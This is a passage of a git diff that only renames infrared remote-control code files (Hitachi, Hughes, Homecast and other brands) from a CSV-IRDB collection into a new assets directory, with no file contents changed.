a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/12,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/12,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/12,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/184,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/184,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/184,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/184,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/96,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/96,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/96,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/97,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/97,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DSS/97,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/97,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Display/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Display/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Display/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Display/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/LCD/86,171.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/LCD/86,171.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/LCD/86,171.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/LCD/86,171.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/144,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/144,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/144,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,158.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,158.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,158.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,158.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,173.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,173.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,173.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,173.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/12,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/12,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/12,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/80,143.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,143.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/80,143.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,143.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/80,173.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,173.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/80,173.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,173.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/96,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/TV/96,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/96,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/40,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/40,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/40,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/40,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/44,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/44,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/44,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/44,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/5,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/5,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/5,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/5,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/83,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/83,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/83,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/83,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,158.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,158.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,158.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,158.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,159.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,159.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,159.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,159.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/12,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/12,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/12,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/133,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/133,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/133,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/136,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/136,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/136,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/136,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/60,178.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/60,178.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/60,178.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/60,178.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DSS/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DVR/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DVR/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DVR/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DVR/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DVR/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DVR/133,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/DVR/133,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DVR/133,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/133,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/133,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/133,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/136,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/136,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/136,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/136,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/60,178.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/60,178.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/60,178.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/60,178.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Satellite/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/TiVo/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/TiVo/133,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/TiVo/133,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/TiVo/133,48.ir diff 